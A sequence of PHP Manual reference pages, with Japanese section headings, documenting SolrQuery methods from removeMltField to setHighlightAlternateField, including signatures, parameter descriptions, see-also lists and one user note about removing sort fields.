  • PHP Manual
  • SolrQuery
  • Removes one of the moreLikeThis fields

SolrQuery::removeMltField

(PECL solr >= 0.9.2)

SolrQuery::removeMltField — Removes one of the moreLikeThis fields

説明

public SolrQuery::removeMltField ( string $field ) : SolrQuery

Removes one of the moreLikeThis fields.

パラメータ

field

Name of the field

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Removes one of the moreLikeThis query fields

  • ≪ SolrQuery::removeMltField
  • SolrQuery::removeSortField ≫
  • PHP Manual
  • SolrQuery
  • Removes one of the moreLikeThis query fields

SolrQuery::removeMltQueryField

(PECL solr >= 0.9.2)

SolrQuery::removeMltQueryField — Removes one of the moreLikeThis query fields

説明

public SolrQuery::removeMltQueryField ( string $queryField ) : SolrQuery

Removes one of the moreLikeThis query fields.

パラメータ

queryField

The query field

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Removes one of the sort fields

  • ≪ SolrQuery::removeMltQueryField
  • SolrQuery::removeStatsFacet ≫
  • PHP Manual
  • SolrQuery
  • Removes one of the sort fields

SolrQuery::removeSortField

(PECL solr >= 0.9.2)

SolrQuery::removeSortField — Removes one of the sort fields

説明

public SolrQuery::removeSortField ( string $field ) : SolrQuery

Removes one of the sort fields

パラメータ

field

The name of the field

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

hasbridge at gmail dot com 23-Jul-2010 02:16
This method will generate a notice if you try and remove a sort field that isn't set. This can happen if you call getSortFields, which will return an array like:

[0] => 'fieldName asc',
[1] => 'fieldName desc

But if you try and call:

<?php
$object->removeSortField('fieldName asc');
?>

You will get a notice. Instead, you need to truncate the sort order (' asc', ' desc') part of it. Something like:

<?php
$fieldName = trim(str_replace(array('asc', 'desc')), '', $fieldName);
?>


Removes one of the stats.facet parameters

  • ≪ SolrQuery::removeSortField
  • SolrQuery::removeStatsField ≫
  • PHP Manual
  • SolrQuery
  • Removes one of the stats.facet parameters

SolrQuery::removeStatsFacet

(PECL solr >= 0.9.2)

SolrQuery::removeStatsFacet — Removes one of the stats.facet parameters

説明

public SolrQuery::removeStatsFacet ( string $value ) : SolrQuery

Removes one of the stats.facet parameters

パラメータ

value

The value

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Removes one of the stats.field parameters

  • ≪ SolrQuery::removeStatsFacet
  • SolrQuery::setEchoHandler ≫
  • PHP Manual
  • SolrQuery
  • Removes one of the stats.field parameters

SolrQuery::removeStatsField

(PECL solr >= 0.9.2)

SolrQuery::removeStatsField — Removes one of the stats.field parameters

説明

public SolrQuery::removeStatsField ( string $field ) : SolrQuery

Removes one of the stats.field parameters

パラメータ

field

The name of the field.

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Toggles the echoHandler parameter

  • ≪ SolrQuery::removeStatsField
  • SolrQuery::setEchoParams ≫
  • PHP Manual
  • SolrQuery
  • Toggles the echoHandler parameter

SolrQuery::setEchoHandler

(PECL solr >= 0.9.2)

SolrQuery::setEchoHandler — Toggles the echoHandler parameter

説明

public SolrQuery::setEchoHandler ( bool $flag ) : SolrQuery

If set to true, Solr places the name of the handle used in the response to the client for debugging purposes.

パラメータ

flag

true or false

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Determines what kind of parameters to include in the response

  • ≪ SolrQuery::setEchoHandler
  • SolrQuery::setExpand ≫
  • PHP Manual
  • SolrQuery
  • Determines what kind of parameters to include in the response

SolrQuery::setEchoParams

(PECL solr >= 0.9.2)

SolrQuery::setEchoParams — Determines what kind of parameters to include in the response

説明

public SolrQuery::setEchoParams ( string $type ) : SolrQuery

Instructs Solr what kinds of Request parameters should be included in the response for debugging purposes, legal values include:

- none - don't include any request parameters for debugging
- explicit - include the parameters explicitly specified by the client in the request
- all - include all parameters involved in this request, either specified explicitly by the client, or implicit because of the request handler configuration.

パラメータ

type

The type of parameters to include

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Enables/Disables the Expand Component

  • ≪ SolrQuery::setEchoParams
  • SolrQuery::setExpandQuery ≫
  • PHP Manual
  • SolrQuery
  • Enables/Disables the Expand Component

SolrQuery::setExpand

(PECL solr >= 2.2.0)

SolrQuery::setExpand — Enables/Disables the Expand Component

説明

public SolrQuery::setExpand ( bool $value ) : SolrQuery

Enables/Disables the Expand Component.

パラメータ

value

Bool flag

返り値

SolrQuery

例

例1 SolrQuery::setExpand() example

<?php

$query = new SolrQuery('lucene');

$query
    ->setExpand(true)
    ->setExpandRows(50)
    ->setExpandQuery('text:product')
    ->addExpandFilterQuery('manu:apple')
    ->addExpandFilterQuery('inStock:true')
    ->addExpandSortField('score', SolrQuery::ORDER_DESC)
    ->addExpandSortField('title', SolrQuery::ORDER_ASC);

echo $query.PHP_EOL;

?>

上の例の出力は、 たとえば以下のようになります。

q=lucene&expand=true&expand.rows=50&expand.q=text:product&expand.fq=manu:apple&expand.fq=inStock:true&expand.sort=score desc,title asc

参考

  • SolrQuery::addExpandSortField() - Orders the documents within the expanded groups (expand.sort parameter)
  • SolrQuery::removeExpandSortField() - Removes an expand sort field from the expand.sort parameter
  • SolrQuery::setExpandRows() - Sets the number of rows to display in each group (expand.rows). Server Default 5
  • SolrQuery::setExpandQuery() - Sets the expand.q parameter
  • SolrQuery::addExpandFilterQuery() - Overrides main filter query, determines which documents to include in the main group
  • SolrQuery::removeExpandFilterQuery() - Removes an expand filter query

User Contributed Notes

There are no user contributed notes for this page.


Sets the expand.q parameter

  • ≪ SolrQuery::setExpand
  • SolrQuery::setExpandRows ≫
  • PHP Manual
  • SolrQuery
  • Sets the expand.q parameter

SolrQuery::setExpandQuery

(PECL solr >= 2.2.0)

SolrQuery::setExpandQuery — Sets the expand.q parameter

説明

public SolrQuery::setExpandQuery ( string $q ) : SolrQuery

Sets the expand.q parameter.

Overrides the main q parameter, determines which documents to include in the main group.

パラメータ

q

返り値

SolrQuery

参考

  • SolrQuery::setExpand() - Enables/Disables the Expand Component
  • SolrQuery::addExpandSortField() - Orders the documents within the expanded groups (expand.sort parameter)
  • SolrQuery::removeExpandSortField() - Removes an expand sort field from the expand.sort parameter
  • SolrQuery::setExpandRows() - Sets the number of rows to display in each group (expand.rows). Server Default 5
  • SolrQuery::addExpandFilterQuery() - Overrides main filter query, determines which documents to include in the main group
  • SolrQuery::removeExpandFilterQuery() - Removes an expand filter query

User Contributed Notes

There are no user contributed notes for this page.


Sets the number of rows to display in each group (expand.rows). Server Default 5

  • ≪ SolrQuery::setExpandQuery
  • SolrQuery::setExplainOther ≫
  • PHP Manual
  • SolrQuery
  • Sets the number of rows to display in each group (expand.rows). Server Default 5

SolrQuery::setExpandRows

(PECL solr >= 2.2.0)

SolrQuery::setExpandRows — Sets the number of rows to display in each group (expand.rows). Server Default 5

説明

public SolrQuery::setExpandRows ( int $value ) : SolrQuery

Sets the number of rows to display in each group (expand.rows). Server Default 5

パラメータ

value

返り値

SolrQuery

参考

  • SolrQuery::setExpand() - Enables/Disables the Expand Component
  • SolrQuery::addExpandSortField() - Orders the documents within the expanded groups (expand.sort parameter)
  • SolrQuery::removeExpandSortField() - Removes an expand sort field from the expand.sort parameter
  • SolrQuery::setExpandQuery() - Sets the expand.q parameter
  • SolrQuery::addExpandFilterQuery() - Overrides main filter query, determines which documents to include in the main group
  • SolrQuery::removeExpandFilterQuery() - Removes an expand filter query

User Contributed Notes

There are no user contributed notes for this page.


Sets the explainOther common query parameter

  • ≪ SolrQuery::setExpandRows
  • SolrQuery::setFacet ≫
  • PHP Manual
  • SolrQuery
  • Sets the explainOther common query parameter

SolrQuery::setExplainOther

(PECL solr >= 0.9.2)

SolrQuery::setExplainOther — Sets the explainOther common query parameter

説明

public SolrQuery::setExplainOther ( string $query ) : SolrQuery

Sets the explainOther common query parameter

パラメータ

query

The Lucene query to identify a set of documents

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Maps to the facet parameter. Enables or disables facetting

  • ≪ SolrQuery::setExplainOther
  • SolrQuery::setFacetDateEnd ≫
  • PHP Manual
  • SolrQuery
  • Maps to the facet parameter. Enables or disables facetting

SolrQuery::setFacet

(PECL solr >= 0.9.2)

SolrQuery::setFacet — Maps to the facet parameter. Enables or disables facetting

説明

public SolrQuery::setFacet ( bool $flag ) : SolrQuery

Enables or disables faceting.

パラメータ

value

true enables faceting and false disables it.

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Maps to facet.date.end

  • ≪ SolrQuery::setFacet
  • SolrQuery::setFacetDateGap ≫
  • PHP Manual
  • SolrQuery
  • Maps to facet.date.end

SolrQuery::setFacetDateEnd

(PECL solr >= 0.9.2)

SolrQuery::setFacetDateEnd — Maps to facet.date.end

説明

public SolrQuery::setFacetDateEnd ( string $value , string $field_override = ? ) : SolrQuery

Maps to facet.date.end

パラメータ

value

See facet.date.end

field_override

Name of the field

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Maps to facet.date.gap

  • ≪ SolrQuery::setFacetDateEnd
  • SolrQuery::setFacetDateHardEnd ≫
  • PHP Manual
  • SolrQuery
  • Maps to facet.date.gap

SolrQuery::setFacetDateGap

(PECL solr >= 0.9.2)

SolrQuery::setFacetDateGap — Maps to facet.date.gap

説明

public SolrQuery::setFacetDateGap ( string $value , string $field_override = ? ) : SolrQuery

Maps to facet.date.gap

パラメータ

value

See facet.date.gap

field_override

The name of the field

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Maps to facet.date.hardend

  • ≪ SolrQuery::setFacetDateGap
  • SolrQuery::setFacetDateStart ≫
  • PHP Manual
  • SolrQuery
  • Maps to facet.date.hardend

SolrQuery::setFacetDateHardEnd

(PECL solr >= 0.9.2)

SolrQuery::setFacetDateHardEnd — Maps to facet.date.hardend

説明

public SolrQuery::setFacetDateHardEnd ( bool $value , string $field_override = ? ) : SolrQuery

Maps to facet.date.hardend

パラメータ

value

See facet.date.hardend

field_override

The name of the field

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Maps to facet.date.start

  • ≪ SolrQuery::setFacetDateHardEnd
  • SolrQuery::setFacetEnumCacheMinDefaultFrequency ≫
  • PHP Manual
  • SolrQuery
  • Maps to facet.date.start

SolrQuery::setFacetDateStart

(PECL solr >= 0.9.2)

SolrQuery::setFacetDateStart — Maps to facet.date.start

説明

public SolrQuery::setFacetDateStart ( string $value , string $field_override = ? ) : SolrQuery

Maps to facet.date.start

パラメータ

value

See facet.date.start

field_override

The name of the field.

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Sets the minimum document frequency used for determining term count

  • ≪ SolrQuery::setFacetDateStart
  • SolrQuery::setFacetLimit ≫
  • PHP Manual
  • SolrQuery
  • Sets the minimum document frequency used for determining term count

SolrQuery::setFacetEnumCacheMinDefaultFrequency

(PECL solr >= 0.9.2)

SolrQuery::setFacetEnumCacheMinDefaultFrequency — Sets the minimum document frequency used for determining term count

説明

public SolrQuery::setFacetEnumCacheMinDefaultFrequency ( int $frequency , string $field_override = ? ) : SolrQuery

Sets the minimum document frequency used for determining term count

パラメータ

value

The minimum frequency

field_override

The name of the field.

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Maps to facet.limit

  • ≪ SolrQuery::setFacetEnumCacheMinDefaultFrequency
  • SolrQuery::setFacetMethod ≫
  • PHP Manual
  • SolrQuery
  • Maps to facet.limit

SolrQuery::setFacetLimit

(PECL solr >= 0.9.2)

SolrQuery::setFacetLimit — Maps to facet.limit

説明

public SolrQuery::setFacetLimit ( int $limit , string $field_override = ? ) : SolrQuery

Maps to facet.limit. Sets the maximum number of constraint counts that should be returned for the facet fields.

パラメータ

limit

The maximum number of constraint counts

field_override

The name of the field.

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Specifies the type of algorithm to use when faceting a field

  • ≪ SolrQuery::setFacetLimit
  • SolrQuery::setFacetMinCount ≫
  • PHP Manual
  • SolrQuery
  • Specifies the type of algorithm to use when faceting a field

SolrQuery::setFacetMethod

(PECL solr >= 0.9.2)

SolrQuery::setFacetMethod — Specifies the type of algorithm to use when faceting a field

説明

public SolrQuery::setFacetMethod ( string $method , string $field_override = ? ) : SolrQuery

Specifies the type of algorithm to use when faceting a field. This method accepts optional field override.

パラメータ

method

The method to use.

field_override

The name of the field.

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Maps to facet.mincount

  • ≪ SolrQuery::setFacetMethod
  • SolrQuery::setFacetMissing ≫
  • PHP Manual
  • SolrQuery
  • Maps to facet.mincount

SolrQuery::setFacetMinCount

(PECL solr >= 0.9.2)

SolrQuery::setFacetMinCount — Maps to facet.mincount

説明

public SolrQuery::setFacetMinCount ( int $mincount , string $field_override = ? ) : SolrQuery

Sets the minimum counts for facet fields that should be included in the response

パラメータ

mincount

The minimum count

field_override

The name of the field.

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Maps to facet.missing

  • ≪ SolrQuery::setFacetMinCount
  • SolrQuery::setFacetOffset ≫
  • PHP Manual
  • SolrQuery
  • Maps to facet.missing

SolrQuery::setFacetMissing

(PECL solr >= 0.9.2)

SolrQuery::setFacetMissing — Maps to facet.missing

説明

public SolrQuery::setFacetMissing ( bool $flag , string $field_override = ? ) : SolrQuery

Used to indicate that in addition to the Term-based constraints of a facet field, a count of all matching results which have no value for the field should be computed

パラメータ

flag

true turns this feature on. false disables it.

field_override

The name of the field.

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Sets the offset into the list of constraints to allow for pagination

  • ≪ SolrQuery::setFacetMissing
  • SolrQuery::setFacetPrefix ≫
  • PHP Manual
  • SolrQuery
  • Sets the offset into the list of constraints to allow for pagination

SolrQuery::setFacetOffset

(PECL solr >= 0.9.2)

SolrQuery::setFacetOffset — Sets the offset into the list of constraints to allow for pagination

説明

public SolrQuery::setFacetOffset ( int $offset , string $field_override = ? ) : SolrQuery

Sets the offset into the list of constraints to allow for pagination.

パラメータ

offset

The offset

field_override

The name of the field.

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Specifies a string prefix with which to limits the terms on which to facet

  • ≪ SolrQuery::setFacetOffset
  • SolrQuery::setFacetSort ≫
  • PHP Manual
  • SolrQuery
  • Specifies a string prefix with which to limits the terms on which to facet

SolrQuery::setFacetPrefix

(PECL solr >= 0.9.2)

SolrQuery::setFacetPrefix — Specifies a string prefix with which to limits the terms on which to facet

説明

public SolrQuery::setFacetPrefix ( string $prefix , string $field_override = ? ) : SolrQuery

Specifies a string prefix with which to limits the terms on which to facet.

パラメータ

prefix

The prefix string

field_override

The name of the field.

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Determines the ordering of the facet field constraints

  • ≪ SolrQuery::setFacetPrefix
  • SolrQuery::setGroup ≫
  • PHP Manual
  • SolrQuery
  • Determines the ordering of the facet field constraints

SolrQuery::setFacetSort

(PECL solr >= 0.9.2)

SolrQuery::setFacetSort — Determines the ordering of the facet field constraints

説明

public SolrQuery::setFacetSort ( int $facetSort , string $field_override = ? ) : SolrQuery

Determines the ordering of the facet field constraints

パラメータ

facetSort

Use SolrQuery::FACET_SORT_INDEX for sorting by index order or SolrQuery::FACET_SORT_COUNT for sorting by count.

field_override

The name of the field.

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Enable/Disable result grouping (group parameter)

  • ≪ SolrQuery::setFacetSort
  • SolrQuery::setGroupCachePercent ≫
  • PHP Manual
  • SolrQuery
  • Enable/Disable result grouping (group parameter)

SolrQuery::setGroup

(PECL solr >= 2.2.0)

SolrQuery::setGroup — Enable/Disable result grouping (group parameter)

説明

public SolrQuery::setGroup ( bool $value ) : SolrQuery

Enable/Disable result grouping (group parameter)

パラメータ

value

返り値

参考

  • SolrQuery::getGroup() - Returns true if grouping is enabled
  • SolrQuery::addGroupField() - Add a field to be used to group results
  • SolrQuery::addGroupFunction() - Allows grouping results based on the unique values of a function query (group.func parameter)
  • SolrQuery::addGroupQuery() - Allows grouping of documents that match the given query
  • SolrQuery::addGroupSortField() - Add a group sort field (group.sort parameter)
  • SolrQuery::setGroupFacet() - Sets group.facet parameter
  • SolrQuery::setGroupOffset() - Sets the group.offset parameter
  • SolrQuery::setGroupLimit() - Specifies the number of results to return for each group. The server default value is 1
  • SolrQuery::setGroupMain() - If true, the result of the first field grouping command is used as the main result list in the response, using group.format=simple
  • SolrQuery::setGroupNGroups() - If true, Solr includes the number of groups that have matched the query in the results
  • SolrQuery::setGroupTruncate() - If true, facet counts are based on the most relevant document of each group matching the query
  • SolrQuery::setGroupFormat() - Sets the group format, result structure (group.format parameter)
  • SolrQuery::setGroupCachePercent() - Enables caching for result grouping

User Contributed Notes

There are no user contributed notes for this page.


Enables caching for result grouping

  • ≪ SolrQuery::setGroup
  • SolrQuery::setGroupFacet ≫
  • PHP Manual
  • SolrQuery
  • Enables caching for result grouping

SolrQuery::setGroupCachePercent

(PECL solr >= 2.2.0)

SolrQuery::setGroupCachePercent — Enables caching for result grouping

説明

public SolrQuery::setGroupCachePercent ( int $percent ) : SolrQuery

Setting this parameter to a number greater than 0 enables caching for result grouping. Result Grouping executes two searches; this option caches the second search. The server default value is 0. Testing has shown that group caching only improves search time with Boolean, wildcard, and fuzzy queries. For simple queries like term or "match all" queries, group caching degrades performance. group.cache.percent parameter

パラメータ

percent

返り値

エラー / 例外

Emits SolrIllegalArgumentException in case of an invalid parameter was passed.

参考

  • SolrQuery::setGroup() - Enable/Disable result grouping (group parameter)
  • SolrQuery::addGroupField() - Add a field to be used to group results
  • SolrQuery::addGroupFunction() - Allows grouping results based on the unique values of a function query (group.func parameter)
  • SolrQuery::addGroupQuery() - Allows grouping of documents that match the given query
  • SolrQuery::addGroupSortField() - Add a group sort field (group.sort parameter)
  • SolrQuery::setGroupFacet() - Sets group.facet parameter
  • SolrQuery::setGroupOffset() - Sets the group.offset parameter
  • SolrQuery::setGroupLimit() - Specifies the number of results to return for each group. The server default value is 1
  • SolrQuery::setGroupMain() - If true, the result of the first field grouping command is used as the main result list in the response, using group.format=simple
  • SolrQuery::setGroupNGroups() - If true, Solr includes the number of groups that have matched the query in the results
  • SolrQuery::setGroupTruncate() - If true, facet counts are based on the most relevant document of each group matching the query
  • SolrQuery::setGroupFormat() - Sets the group format, result structure (group.format parameter)

User Contributed Notes

There are no user contributed notes for this page.


Sets group.facet parameter

  • ≪ SolrQuery::setGroupCachePercent
  • SolrQuery::setGroupFormat ≫
  • PHP Manual
  • SolrQuery
  • Sets group.facet parameter

SolrQuery::setGroupFacet

(PECL solr >= 2.2.0)

SolrQuery::setGroupFacet — Sets group.facet parameter

説明

public SolrQuery::setGroupFacet ( bool $value ) : SolrQuery

Determines whether to compute grouped facets for the field facets specified in facet.field parameters. Grouped facets are computed based on the first specified group.

パラメータ

value

返り値

参考

  • SolrQuery::setGroup() - Enable/Disable result grouping (group parameter)
  • SolrQuery::addGroupField() - Add a field to be used to group results
  • SolrQuery::addGroupFunction() - Allows grouping results based on the unique values of a function query (group.func parameter)
  • SolrQuery::addGroupQuery() - Allows grouping of documents that match the given query
  • SolrQuery::addGroupSortField() - Add a group sort field (group.sort parameter)
  • SolrQuery::setGroupOffset() - Sets the group.offset parameter
  • SolrQuery::setGroupLimit() - Specifies the number of results to return for each group. The server default value is 1
  • SolrQuery::setGroupMain() - If true, the result of the first field grouping command is used as the main result list in the response, using group.format=simple
  • SolrQuery::setGroupNGroups() - If true, Solr includes the number of groups that have matched the query in the results
  • SolrQuery::setGroupTruncate() - If true, facet counts are based on the most relevant document of each group matching the query
  • SolrQuery::setGroupFormat() - Sets the group format, result structure (group.format parameter)
  • SolrQuery::setGroupCachePercent() - Enables caching for result grouping

User Contributed Notes

There are no user contributed notes for this page.


Sets the group format, result structure (group.format parameter)

  • ≪ SolrQuery::setGroupFacet
  • SolrQuery::setGroupLimit ≫
  • PHP Manual
  • SolrQuery
  • Sets the group format, result structure (group.format parameter)

SolrQuery::setGroupFormat

(PECL solr >= 2.2.0)

SolrQuery::setGroupFormat — Sets the group format, result structure (group.format parameter)

説明

public SolrQuery::setGroupFormat ( string $value ) : SolrQuery

Sets the group.format parameter. If this parameter is set to simple, the grouped documents are presented in a single flat list, and the start and rows parameters affect the numbers of documents instead of groups. Accepts: grouped/simple

パラメータ

value

返り値

参考

  • SolrQuery::setGroup() - Enable/Disable result grouping (group parameter)
  • SolrQuery::addGroupField() - Add a field to be used to group results
  • SolrQuery::addGroupFunction() - Allows grouping results based on the unique values of a function query (group.func parameter)
  • SolrQuery::addGroupQuery() - Allows grouping of documents that match the given query
  • SolrQuery::addGroupSortField() - Add a group sort field (group.sort parameter)
  • SolrQuery::setGroupFacet() - Sets group.facet parameter
  • SolrQuery::setGroupOffset() - Sets the group.offset parameter
  • SolrQuery::setGroupLimit() - Specifies the number of results to return for each group. The server default value is 1
  • SolrQuery::setGroupMain() - If true, the result of the first field grouping command is used as the main result list in the response, using group.format=simple
  • SolrQuery::setGroupNGroups() - If true, Solr includes the number of groups that have matched the query in the results
  • SolrQuery::setGroupTruncate() - If true, facet counts are based on the most relevant document of each group matching the query
  • SolrQuery::setGroupCachePercent() - Enables caching for result grouping

User Contributed Notes

There are no user contributed notes for this page.


Specifies the number of results to return for each group. The server default value is 1

  • ≪ SolrQuery::setGroupFormat
  • SolrQuery::setGroupMain ≫
  • PHP Manual
  • SolrQuery
  • Specifies the number of results to return for each group. The server default value is 1

SolrQuery::setGroupLimit

(PECL solr >= 2.2.0)

SolrQuery::setGroupLimit — Specifies the number of results to return for each group. The server default value is 1

説明

public SolrQuery::setGroupLimit ( int $value ) : SolrQuery

Specifies the number of results to return for each group. The server default value is 1.

パラメータ

value

返り値

参考

  • SolrQuery::setGroup() - Enable/Disable result grouping (group parameter)
  • SolrQuery::addGroupField() - Add a field to be used to group results
  • SolrQuery::addGroupFunction() - Allows grouping results based on the unique values of a function query (group.func parameter)
  • SolrQuery::addGroupQuery() - Allows grouping of documents that match the given query
  • SolrQuery::addGroupSortField() - Add a group sort field (group.sort parameter)
  • SolrQuery::setGroupFacet() - Sets group.facet parameter
  • SolrQuery::setGroupOffset() - Sets the group.offset parameter
  • SolrQuery::setGroupMain() - If true, the result of the first field grouping command is used as the main result list in the response, using group.format=simple
  • SolrQuery::setGroupNGroups() - If true, Solr includes the number of groups that have matched the query in the results
  • SolrQuery::setGroupTruncate() - If true, facet counts are based on the most relevant document of each group matching the query
  • SolrQuery::setGroupFormat() - Sets the group format, result structure (group.format parameter)
  • SolrQuery::setGroupCachePercent() - Enables caching for result grouping

User Contributed Notes

There are no user contributed notes for this page.


If true, the result of the first field grouping command is used as the main result list in the response, using group.format=simple

  • ≪ SolrQuery::setGroupLimit
  • SolrQuery::setGroupNGroups ≫
  • PHP Manual
  • SolrQuery
  • If true, the result of the first field grouping command is used as the main result list in the response, using group.format=simple

SolrQuery::setGroupMain

(PECL solr >= 2.2.0)

SolrQuery::setGroupMain — If true, the result of the first field grouping command is used as the main result list in the response, using group.format=simple

説明

public SolrQuery::setGroupMain ( string $value ) : SolrQuery

If true, the result of the first field grouping command is used as the main result list in the response, using group.format=simple.

パラメータ

value

返り値

参考

参考

  • SolrQuery::setGroup() - Enable/Disable result grouping (group parameter)
  • SolrQuery::addGroupField() - Add a field to be used to group results
  • SolrQuery::addGroupFunction() - Allows grouping results based on the unique values of a function query (group.func parameter)
  • SolrQuery::addGroupQuery() - Allows grouping of documents that match the given query
  • SolrQuery::addGroupSortField() - Add a group sort field (group.sort parameter)
  • SolrQuery::setGroupFacet() - Sets group.facet parameter
  • SolrQuery::setGroupOffset() - Sets the group.offset parameter
  • SolrQuery::setGroupMain()
  • SolrQuery::setGroupNGroups() - If true, Solr includes the number of groups that have matched the query in the results
  • SolrQuery::setGroupTruncate() - If true, facet counts are based on the most relevant document of each group matching the query
  • SolrQuery::setGroupFormat() - Sets the group format, result structure (group.format parameter)
  • SolrQuery::setGroupCachePercent() - Enables caching for result grouping

User Contributed Notes

There are no user contributed notes for this page.


If true, Solr includes the number of groups that have matched the query in the results

  • ≪ SolrQuery::setGroupMain
  • SolrQuery::setGroupOffset ≫
  • PHP Manual
  • SolrQuery
  • If true, Solr includes the number of groups that have matched the query in the results

SolrQuery::setGroupNGroups

(PECL solr >= 2.2.0)

SolrQuery::setGroupNGroups — If true, Solr includes the number of groups that have matched the query in the results

説明

public SolrQuery::setGroupNGroups ( bool $value ) : SolrQuery

If true, Solr includes the number of groups that have matched the query in the results.

パラメータ

value

返り値

参考

  • SolrQuery::setGroup() - Enable/Disable result grouping (group parameter)
  • SolrQuery::addGroupField() - Add a field to be used to group results
  • SolrQuery::addGroupFunction() - Allows grouping results based on the unique values of a function query (group.func parameter)
  • SolrQuery::addGroupQuery() - Allows grouping of documents that match the given query
  • SolrQuery::addGroupSortField() - Add a group sort field (group.sort parameter)
  • SolrQuery::setGroupFacet() - Sets group.facet parameter
  • SolrQuery::setGroupOffset() - Sets the group.offset parameter
  • SolrQuery::setGroupLimit() - Specifies the number of results to return for each group. The server default value is 1
  • SolrQuery::setGroupMain() - If true, the result of the first field grouping command is used as the main result list in the response, using group.format=simple
  • SolrQuery::setGroupTruncate() - If true, facet counts are based on the most relevant document of each group matching the query
  • SolrQuery::setGroupFormat() - Sets the group format, result structure (group.format parameter)
  • SolrQuery::setGroupCachePercent() - Enables caching for result grouping

User Contributed Notes

There are no user contributed notes for this page.


Sets the group.offset parameter

  • ≪ SolrQuery::setGroupNGroups
  • SolrQuery::setGroupTruncate ≫
  • PHP Manual
  • SolrQuery
  • Sets the group.offset parameter

SolrQuery::setGroupOffset

(PECL solr >= 2.2.0)

SolrQuery::setGroupOffset — Sets the group.offset parameter

説明

public SolrQuery::setGroupOffset ( int $value ) : SolrQuery

Sets the group.offset parameter.

パラメータ

value

返り値

参考

  • SolrQuery::setGroup() - Enable/Disable result grouping (group parameter)
  • SolrQuery::addGroupField() - Add a field to be used to group results
  • SolrQuery::addGroupFunction() - Allows grouping results based on the unique values of a function query (group.func parameter)
  • SolrQuery::addGroupQuery() - Allows grouping of documents that match the given query
  • SolrQuery::addGroupSortField() - Add a group sort field (group.sort parameter)
  • SolrQuery::setGroupFacet() - Sets group.facet parameter
  • SolrQuery::setGroupLimit() - Specifies the number of results to return for each group. The server default value is 1
  • SolrQuery::setGroupMain() - If true, the result of the first field grouping command is used as the main result list in the response, using group.format=simple
  • SolrQuery::setGroupNGroups() - If true, Solr includes the number of groups that have matched the query in the results
  • SolrQuery::setGroupTruncate() - If true, facet counts are based on the most relevant document of each group matching the query
  • SolrQuery::setGroupFormat() - Sets the group format, result structure (group.format parameter)
  • SolrQuery::setGroupCachePercent() - Enables caching for result grouping

User Contributed Notes

There are no user contributed notes for this page.


If true, facet counts are based on the most relevant document of each group matching the query

  • ≪ SolrQuery::setGroupOffset
  • SolrQuery::setHighlight ≫
  • PHP Manual
  • SolrQuery
  • If true, facet counts are based on the most relevant document of each group matching the query

SolrQuery::setGroupTruncate

(PECL solr >= 2.2.0)

SolrQuery::setGroupTruncate — If true, facet counts are based on the most relevant document of each group matching the query

説明

public SolrQuery::setGroupTruncate ( bool $value ) : SolrQuery

If true, facet counts are based on the most relevant document of each group matching the query. The server default value is false. group.truncate parameter

パラメータ

value

返り値

参考

  • SolrQuery::setGroup() - Enable/Disable result grouping (group parameter)
  • SolrQuery::addGroupField() - Add a field to be used to group results
  • SolrQuery::addGroupFunction() - Allows grouping results based on the unique values of a function query (group.func parameter)
  • SolrQuery::addGroupQuery() - Allows grouping of documents that match the given query
  • SolrQuery::addGroupSortField() - Add a group sort field (group.sort parameter)
  • SolrQuery::setGroupFacet() - Sets group.facet parameter
  • SolrQuery::setGroupOffset() - Sets the group.offset parameter
  • SolrQuery::setGroupLimit() - Specifies the number of results to return for each group. The server default value is 1
  • SolrQuery::setGroupMain() - If true, the result of the first field grouping command is used as the main result list in the response, using group.format=simple
  • SolrQuery::setGroupNGroups() - If true, Solr includes the number of groups that have matched the query in the results
  • SolrQuery::setGroupFormat() - Sets the group format, result structure (group.format parameter)
  • SolrQuery::setGroupCachePercent() - Enables caching for result grouping

User Contributed Notes

There are no user contributed notes for this page.


Enables or disables highlighting

  • ≪ SolrQuery::setGroupTruncate
  • SolrQuery::setHighlightAlternateField ≫
  • PHP Manual
  • SolrQuery
  • Enables or disables highlighting

SolrQuery::setHighlight

(PECL solr >= 0.9.2)

SolrQuery::setHighlight — Enables or disables highlighting

説明

public SolrQuery::setHighlight ( bool $flag ) : SolrQuery

Setting it to true enables highlighted snippets to be generated in the query response.

Setting it to false disables highlighting

パラメータ

flag

Enable or disable highlighting

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Specifies the backup field to use

  • ≪ SolrQuery::setHighlight
  • SolrQuery::setHighlightFormatter ≫
  • PHP Manual
  • SolrQuery
  • Specifies the backup field to use

SolrQuery::setHighlightAlternateField

(PECL solr >= 0.9.2)

SolrQuery::setHighlightAlternateField — Specifies the backup field to use

説明

public SolrQuery::setHighlightAlternateField ( string $field , string $field_override = ? ) : SolrQuery

If a snippet cannot be generated because there were no matching terms, one can specify a field to use as the backup or default summary

パラメータ

